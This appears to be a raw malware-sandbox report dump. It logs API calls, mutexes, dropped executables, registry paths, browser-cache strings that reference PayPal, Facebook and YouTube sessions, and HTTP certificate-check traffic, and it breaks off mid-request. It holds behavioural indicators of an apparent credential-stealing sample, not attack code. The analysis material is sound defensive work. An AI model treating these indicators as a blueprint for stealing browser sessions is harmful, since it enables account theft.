00000000-00005628-36138-745-00BFE97B WaitForSingleObject@KERNEL32.DLL at 00000000-00005628-36138-753-00C0096B WaitForSingleObject@KERNEL32.DLL at 00000000-00005628-36138-756-00C0D2E7 SetTimer at 00000000-00005628-36138-1208-00B93170 Sleep@KERNEL32.DLL at 00000000-00005628-36138-1211-00BFBF30 SetTimer at 00000000-00005628-36138-1215-00BFC161 SetTimer at 00000000-00005628-36138-1254-00BA8891 Sleep@KERNEL32.DLL at 00000000-00005628-36138-1349-00BAF291 Sleep@KERNEL32.DLL at 00000000-00005628-36138-1396-00BAF645 WaitForSingleObject@KERNEL32.DLL at 00000000-00005628-36138-1620-00BF1874 Sleep@KERNEL32.DLL at 00000000-00005628-36138-1622-00BF1901 Sleep@KERNEL32.DLL at 00000000-00005628-36138-1649-00BF25A2 SetTimer at 00000000-00005628-36138-1710-00BF5A1B Sleep@KERNEL32.DLL at 00000000-00005628-36138-1796-00BF9C49 WaitForSingleObject@KERNEL32.DLL at 00000000-00005628-36138-1855-00BFE1D6 Sleep@KERNEL32.DLL at 00000000-00005628-36138-1862-00BFE6B0 Sleep@KERNEL32.DLL at 00000000-00005628-36138-1909-00C09B2B Sleep@KERNEL32.DLL at 00000000-00005628-36138-1919-00C0503F42:T54b,LoadLibraryA@KERNEL32.DLL at 00000000-00005792-35075-33-00942F1D LoadLibraryExA@KERNEL32.DLL at 00000000-00005792-35075-41-00946495 LoadLibraryA@KERNEL32.DLL at 00000000-00005792-35075-42-0094202A LoadLibraryA@KERNEL32.DLL at 00000000-00005792-35075-73-009417EE LoadLibraryA@KERNEL32.DLL at 00000000-00005792-35075-112-00944224 LoadLibraryExW@KERNEL32.DLL at 00000000-00005628-36138-41-00BC3073 LoadLibraryA@KERNEL32.DLL at 00000000-00005628-36138-328-00BACF92 LoadLibraryExW@KERNEL32.DLL at 00000000-00005628-36138-930-00C2833C LoadLibraryW@KERNEL32.DLL at 00000000-00005628-36138-932-00C22F17 LoadLibraryExW@KERNEL32.DLL at 00000000-00005628-36138-1166-00B94ECB LoadLibraryA@KERNEL32.DLL at 00000000-00005628-36138-1167-00B94E59 LoadLibraryA@KERNEL32.DLL at 00000000-00005628-36138-1168-00B94E90 LoadLibraryA@KERNEL32.DLL at 00000000-00005628-36138-1227-00B942DE LoadLibraryExW@KERNEL32.DLL at 00000000-00005628-36138-1418-00BB34CD LoadLibraryA@KERNEL32.DLL at 00000000-00005628-36138-2242-00C13FE9 LoadLibraryW@KERNEL32.DLL at 00000000-00005628-36138-2248-00C18EE4 LoadLibraryW@KERNEL32.DLL at 00000000-00005628-36138-2261-00C19ABB LoadLibraryA@KERNEL32.DLL at 00000000-00005628-36138-2290-00C1B60E LoadLibraryA@KERNEL32.DLL at 00000000-00005628-36138-2291-00C1CC34 LoadLibraryExW@KERNEL32.DLL at 00000000-00003848-46045-266-0132506243:T65e,Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00001184.00000000.78534.011F0000.00000002.mdmp, 00000000-00001184.00000000.78534.011F8000.00000004.mdmp") Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00001184.00000000.78534.011F0000.00000002.mdmp, 00000000-00001184.00000000.78534.011F8000.00000004.mdmp") Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00003368.00000000.79552.00AC0000.00000002.mdmp, 00000000-00003368.00000000.79557.00AC8000.00000004.mdmp") Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00003368.00000000.79552.00AC0000.00000002.mdmp, 00000000-00003368.00000000.79557.00AC8000.00000004.mdmp") Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00003848.00000000.79199.01330000.00000002.mdmp") Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00003848.00000000.79199.01330000.00000002.mdmp") Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00005628.00000001.78200.00C2C000.00000002.mdmp") Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00005628.00000001.78200.00C2C000.00000002.mdmp")44:T77a,Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\UpdatingNewTabPageData" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\IsoScope_15c8_IESQMMUTEX_0_519" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\!BrowserEmulation!SharedMemory!Mutex" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\VERMGMTBlockListFileMutex" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\URLBLOCK_FILEMAPSWITCH_MUTEX_5576" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\URLBLOCK_HASHFILESWITCH_MUTEX" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\URLBLOCK_DOWNLOAD_MUTEX" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\IsoScope_15c8_IE_EarlyTabStart_0x1604_Mutex" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\IsoScope_15c8_ConnHashTable<5576>_HashTable_Mutex" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\{5312EE61-79E3-4A24-BFE1-132B85B23C3A}" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\IsoScope_15c8_IESQMMUTEX_0_303" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\IsoScope_15c8_IESQMMUTEX_0_331" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\{66D0969A-1E86-44CF-B4EC-3806DDDA3B5D}" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\IsoScope_15c8_IESQMMUTEX_0_274" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\MSIMGSIZECacheMutex"45:T6e8,"1SX49Ye8.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-1" - [base:0; Status:c0000135] "1SX49Ye8.exe" failed to load missing module "ext-ms-win-kernel32-package-current-l1-1-0" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\ucrtbase_clr0400.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\SHLWAPI.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-core-datetime-l1-1-1" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-core-localization-obsolete-l1-2-0" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135]46:T4ef,"16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "ca8Oc89.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "JA0VX88.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "CF3Mr43.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "9zc6iD1.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "8Cg883Yu.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "2QO3391.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE47:T9a9,Found string "paypalcomsignin" (Indicator: "paypal"; File: "screen_3.png") Found string "youtubecom" (Indicator: "youtube"; File: "screen_5.png") Found string "Connection=youtube:s1&icheckedDomains=youtubeBicontinue=https//accounts" (Indicator: "youtube"; File: "screen_5.png") file/memory contains long string with (Indicator: "youtube"; File: "_F24C21DE-9A10-11F1-971B-005056911731_.dat") file/memory contains long string with (Indicator: "youtube"; File: "~DF1668CE42C328867A.TMP") file/memory contains long string with (Indicator: "youtube"; File: "~DF5F1BE7CC567962D8.TMP") file/memory contains long string with (Indicator: "youtube"; File: "L5BKM8ES.txt") file/memory contains long string with (Indicator: "youtube"; File: "WOPDH9O0.txt") file/memory contains long string with (Indicator: "youtube"; File: "JUZEOBO4.txt") file/memory contains long string with (Indicator: "youtube"; File: "4JTPB0SC.txt") file/memory contains long string with (Indicator: "youtube"; File: "F5SG56NV.txt") file/memory contains long string with (Indicator: "youtube"; File: "NL0ENXOO.txt") Found string "0Y6rQgbbZLofxjCAG..Bqgr3M..AAA.0.0.Bqgr3M.AWcG0mNsZEvtQbrGnMoa7CKoe7Qfacebook.com/9217127719372831290582164673640031272477zL2CanwSkjRSeGdLncqmTRI6facebook.com/9217282164787231352943164673640031272477" (Indicator: "facebook.com"; File: "TMLO8YIR.txt") Found string "0Y6rQgbbZLofxjCAG..Bqgr3M..AAA.0.0.Bqgr3M.AWcG0mNsZEvtQbrGnMoa7CKoe7Qfacebook.com/9217127719372831290582164673640031272477" (Indicator: "facebook.com"; File: "CXW3F9D5.txt") Found string "CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367" (Indicator: "youtube"; File: "V1PN3DHO.txt") Found string "accounts.youtube.com" (Indicator: "youtube"; File: "PCAP") Found string "twitter.com" (Indicator: "twitter"; File: "PCAP") Found string "www.facebook.com" (Indicator: "facebook.com"; File: "PCAP") Found string "www.paypal.com" (Indicator: "paypal"; File: "PCAP") Found string "www.youtube.com" (Indicator: "youtube"; File: "PCAP") file/memory contains long string with (Indicator: "youtube"; File: "SSL") Found string "GET /login HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.facebook.comDNT: 1Connection: Keep-Alive" (Indicator: "facebook.com"; File: "SSL") file/memory contains long string with (Indicator: "facebook.com"; File: "SSL")48:T827,"REGISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00001184.00000000.78529.00320000.00000004.mdmp "REGISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00003368.00000000.79552.00350000.00000004.mdmp "EGISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00003848.00000000.79205.004B0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00003848.00000000.79205.004B0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{17fe9752-0b5a-4665-84cd-569794602f5c}\InProcServer32" in Source: 00000000-00005628.00000000.76333.00660000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00005628.00000000.76333.00660000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\TabbedBrowsing" in Source: 00000000-00005628.00000001.78200.00660000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00005628.00000001.78200.00660000.00000004.mdmp "Software\AutoIt v3\AutoIt" in Source: 00000000-00005628.00000001.78200.00C2C000.00000002.mdmp "SOFTWARE\Classes\" in Source: 00000000-00005628.00000001.78200.00C2C000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Nls\Language" in Source: 00000000-00005628.00000001.78200.00C2C000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 00000000-00005632.00000001.78120.001A1000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 00000000-00005716.00000001.78064.00FC1000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 00000000-00005792.00000001.78200.00941000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 00000000-00005852.00000002.78874.01051000.00000020.mdmp49:T3f09,"GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEA59dSNcqDdhV39MzSTNbR0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.cn" Response ==> HTTP/1.1 200 OK Server: Tengine Content-Type: application/ocsp-response Content-Length: 471 Connection: keep-alive Cache-Control: max-age=7200 Date: Mon 17 Aug 2026 07:33:48 GMT Via: ens-cache24.l2us5[0 0 200-0 H] ens-cache36.l2us5[1 0] ens-cache33.us34[0 0 200-0 H] ens-cache25.us34[1 0] Age: 1136 Ali-Swift-Global-Savetime: 1786952028 X-Cache: HIT TCP_MEM_HIT dirn:-2:-2 X-Swift-SaveTime: Mon 17 Aug 2026 07:34:03 GMT X-Swift-CacheTime: 3585 Timing-Allow-Origin: * EagleId: a3b53cad17869531646018984e with response body ==>30C28201C3930A0100C2A0C28201C38C30C28201C38806092B060105050730010104C28201C2B930C28201C2B530C281C29EC2A2160414C2B13EC3836903C3B8....... "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Content-Security-Policy-Report-Only: script-src 'none'; form-action 'none'; frame-src 'none'; report-uri https://csp.withgoogle.com/csp/scaffolding/sytroprc:52:0 Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to=sytroprc:52:0 Report-To: {"group":"sytroprc:52:0" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/scaffolding/sytroprc:52:0"}] } Server: scaffolding on HTTPServer2 Content-Length: 1446 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Mon 17 Aug 2026 06:22:18 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 5429 with response body ==>30C28205C2A20A0100C2A0C28205C29B30C28205C29706092B060105050730010104C28205C28830C28205C28430C281C29EC2A2160414C3BCC2B709C3AA4D79....... "GET /r/r1.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 993 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon 17 Aug 2026 07:29:25 GMT Expires: Mon 17 Aug 2026 08:19:25 GMT Cache-Control: public max-age=3000 Age: 1402 Last-Modified: Wed 11 Feb 2026 14:38:00 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding with response body ==>30C28203C39D30C28201C385020101300D06092AC28648C286C3B70D01010B05003047310B300906035504061302555331223020060355040A1319476F6F676C....... "GET /r/r1.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: */* If-Modified-Since: Wed, 11 Feb 2026 14:38:00 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog" Response ==> HTTP/1.1 304 Not Modified Date: Mon 17 Aug 2026 07:29:25 GMT Expires: Mon 17 Aug 2026 08:19:25 GMT Age: 1402 Last-Modified: Wed 11 Feb 2026 14:38:00 GMT Cache-Control: public max-age=3000 Vary: Accept-Encoding with no response body "GET /wr2/75r4ZyA3vA0.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 33182 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon 17 Aug 2026 07:42:50 GMT Expires: Mon 17 Aug 2026 08:32:50 GMT Cache-Control: public max-age=3000 Last-Modified: Mon 17 Aug 2026 07:11:35 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding Age: 597 with response body ==>30C282C281C29A30C282C280C282020101300D06092AC28648C286C3B70D01010B0500303B310B3009060355040613025553311E301C060355040A1315476F6F....... "GET /wr2/75r4ZyA3vA0.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: */* If-Modified-Since: Mon, 17 Aug 2026 07:11:35 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog" Response ==> HTTP/1.1 304 Not Modified Date: Mon 17 Aug 2026 07:42:50 GMT Expires: Mon 17 Aug 2026 08:32:50 GMT Last-Modified: Mon 17 Aug 2026 07:11:35 GMT Cache-Control: public max-age=3000 Vary: Accept-Encoding Age: 597 with no response body "GET /wr2/oBFYYahzgVI.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 33247 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon 17 Aug 2026 07:43:58 GMT Expires: Mon 17 Aug 2026 08:33:58 GMT Cache-Control: public max-age=3000 Age: 531 Last-Modified: Mon 17 Aug 2026 05:16:15 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding with response body ==>30C282C281C39B30C282C280C383020101300D06092AC28648C286C3B70D01010B0500303B310B3009060355040613025553311E301C060355040A1315476F6F....... "GET /wr2/9UVbN0w5E6Y.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 29215 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon 17 Aug 2026 07:32:13 GMT Expires: Mon 17 Aug 2026 08:22:13 GMT Cache-Control: public max-age=3000 Last-Modified: Mon 17 Aug 2026 06:15:07 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding Age: 1237 with response body ==>30C282721B30C2827103020101300D06092AC28648C286C3B70D01010B0500303B310B3009060355040613025553311E301C060355040A1315476F6F676C6520....... "GET /r/gsr1.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 1739 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon 17 Aug 2026 07:44:30 GMT Expires: Mon 17 Aug 2026 08:34:30 GMT Cache-Control: public max-age=3000 Age: 508 Last-Modified: Tue 07 Jul 2026 08:38:00 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding with response body ==>30C28206C38730C28205C2AF020101300D06092AC28648C286C3B70D01010B05003057310B300906035504061302424531193017060355040A1310476C6F6261....... "GET /r/r4.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 528 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon 17 Aug 2026 07:44:36 GMT Expires: Mon 17 Aug 2026 08:34:36 GMT Cache-Control: public max-age=3000 Age: 502 Last-Modified: Wed 11 Feb 2026 14:38:00 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding with response body ==>30C282020C30C28201C293020101300A06082AC28648C38E3D0403033047310B300906035504061302555331223020060355040A1319476F6F676C6520547275....... "GET /we1/pl4XiTjSDSk.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 453 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon 17 Aug 2026 07:46:10 GMT Expires: Mon 17 Aug 2026 08:36:10 GMT Cache-Control: public max-age=3000 Age: 408 Last-Modified: Mon 17 Aug 2026 04:43:27 GMT Content-Type: application/pkix-crl with response body ==>30C28201C38130C2820168020101300A06082AC28648C38E3D040302303B310B3009060355040613025553311E301C060355040A1315476F6F676C6520547275....... "GET /we1/FARePxy0M2M.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 456 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon 17 Aug 2026 07:06:07 GMT Expires: Mon 17 Aug 2026 07:56:07 GMT Cache-Control: public max-age=3000 Last-Modified: Mon 17 Aug 2026 03:18:27 GMT Content-Type: application/pkix-crl Age: 2811 with response body ==>30C28201C38430C282016A020101300A06082AC28648C38E3D040302303B310B3009060355040613025553311E301C060355040A1315476F6F676C6520547275....... "GET /we1/G0k-BqpOX8k.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 385 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon 17 Aug 2026 07:31:41 GMT Expires: Mon 17 Aug 2026 08:21:41 GMT Cache-Control: public max-age=3000 Age: 1277 Last-Modified: Mon 17 Aug 2026 06:12:23 GMT Content-Type: application/pkix-crl with response body ==>30C282017D30C2820122020101300A06082AC28648C38E3D040302303B310B3009060355040613025553311E301C060355040A1315476F6F676C652054727573....... "GET /rootg2.cer HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crt.rootg2.amazontrust.com" Response ==> HTTP/1.1 200 OK Content-Type: binary/octet-stream Content-Length: 1145 Connection: keep-alive Date: Mon 17 Aug 2026 06:46:49 GMT Last-Modified: Thu 13 Aug 2026 12:28:02 GMT ETag: "c6150925cfea5941ddc7ff2a0a506692" x-amz-server-side-encryption: AES256 x-amz-version-id: LqwjA6Xb28.xYsmXpeQLCr6qZMONXMwe Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 f2ece26b43ea74c5944bc1273fb843c6.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ORD58-P15 X-Amz-Cf-Id: PgPY6uzwULHJLAT2AAh8pLiGtYZemrAGPFL4KD9o6Xw1Cf9AwTIskg== Age: 3971 with response body ==>30C282047530C282035DC2A003020102020900C2A70E4A4C34C282C2B77F300D06092AC28648C286C3B70D01010B05003068310B300906035504061302555331....... "GET /rootg2.cer HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crt.rootg2.amazontrust.com" Response ==> HTTP/1.1 200 OK Content-Type: binary/octet-stream Content-Length: 1145 Connection: keep-alive Date: Mon 17 Aug 2026 06:46:49 GMT Last-Modified: Thu 13 Aug 2026 12:28:02 GMT ETag: "c6150925cfea5941ddc7ff2a0a506692" x-amz-server-side-encryption: AES256 x-amz-version-id: LqwjA6Xb28.xYsmXpeQLCr6qZMONXMwe Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 f2ece26b43ea74c5944bc1273fb843c6.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ORD58-P15 X-Amz-Cf-Id: 1VyunWKJkqN0iN2F7wwXsFKGEQVXY_oh98UWOVspa3Q8LRQXizwdhA== Age: 3971 with response body ==>30C282047530C282035DC2A003020102020900C2A70E4A4C34C282C2B77F300D06092AC28648C286C3B70D01010B05003068310B300906035504061302555331....... "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: 